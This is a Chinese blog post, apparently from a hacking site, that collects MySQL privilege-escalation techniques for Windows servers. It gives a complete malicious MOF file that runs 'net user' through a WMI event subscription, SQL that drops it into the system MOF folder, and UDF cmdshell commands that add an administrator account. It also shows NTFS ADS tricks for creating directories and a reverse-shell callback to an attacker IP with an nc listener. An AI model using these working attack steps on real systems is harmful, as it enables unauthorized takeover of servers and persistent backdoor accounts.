最近在测试一个项目,遇到了MYSQL数据库,想尽办法提权,最终都没有成功,很是郁闷,可能是自己很久没有研究过提权导致的吧,总结一下MYSQL提权的各种姿势吧,权当复习了。关于mysql提权的方法也就那么几种,希望也能帮到各位小伙伴们。
一、利用mof提权

前段时间国外Kingcope大牛发布了mysql远程提权0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day),剑心牛对MOF利用进行了分析,如下:
Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:
方法 1: 运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。
方法 2: 使用 IMofCompiler 接口和 $ CompileFile 方法。
方法 3: 拖放到 %SystemRoot%System32WbemMOF 文件夹的 MOF 文件。
Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。
第三种方法仅为向后兼容性与早期版本的 WMI 提供,并因为此功能可能不会提供在将来的版本后,不应使用。
具体到mysql提权中,我们又该怎么利用呢?
1、找一个可写目录上传mof文件,我这里上传到了 C:/wmpub/nullevt.mof 代码如下。
 

#pragma namespace("\\.\root\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa "Win32_LocalTime" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user waitalone waitalone.cn /add")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

 

 

其中的第18行的命令,上传前请自己更改。
2、执行load_file及into dumpfile把文件导出到正确的位置即可。

select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

 

 
执行成功后,即可添加一个普通用户,然后你可以更改命令,再上传导出执行把用户提升到管理员权限,然后3389连接之就ok了。
二、利用UDF提权

udf提权这是最常见的提权方式了,但是往往在执行过程中老是遇到"Can't open shared library"的情况,这里我们可以利用NTFS ADS流来解决这个问题。
1、最常见的是直接使用udf.php此类的工具来执行udf提权,具体如下。
连接到mysql以后,先导出udf.dll到c:windowssystem32目录下。
2、创建相应的函数并执行命令,具体如下:
 

create function cmdshell returns string soname 'udf.dll';
select cmdshell('net user waitalone waitalone.cn /add');
select cmdshell('net localgroup administrators waitalone /add');
drop function cmdshell; 删除函数
delete from mysql.func where name='cmdshell' 删除函数

 
3、某些情况下,我们会遇到Can't open shared library的情况,这时就需要我们把udf.dll导出到libplugin目录下才可以,但是默认情况下plugin不存在,怎么办? 还好有大牛研究出了利用NTFS ADS流来创建文件夹的方法
 

select @@basedir;
//查找到mysql的目录
select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION';
//利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin::$INDEX_ALLOCATION';
//利用NTFS ADS创建plugin目录

 
执行成功以后再进行导出即可。
三、反弹端口连接提权

假如我们扫到了一个mysql的root弱密码,并且可以外连,但是服务器上面的网站又无法Getshell,这时我们怎么办呢?
1、利用mysql客户端工具连接mysql服务器,然后执行下面的操作。
 

mysql.exe -h 172.16.10.11 -uroot -p
Enter password:
mysql> . c:mysql.txt
mysql>select backshell("YourIP",2010);

 
2、本地监听你反弹的端口
 

nc.exe -vv -l -p 2010

 
成功后,你将获得一个system权限的cmdshell,其实这个也是利用的UDF提权。

  mysql_反弹udf.rar (63.0 KB, 629 次)


参考文章:
http://zone.wooyun.org/content/1795
http://www.exploit-db.com/exploits/23083/
http://www.myhack58.com/Article/html/3/8/2013/38264.htm
http://www.2cto.com/Article/201212/177983.html

转载请注明来自WebShell'S Blog,本文地址:https://www.webshell.cc/4790.html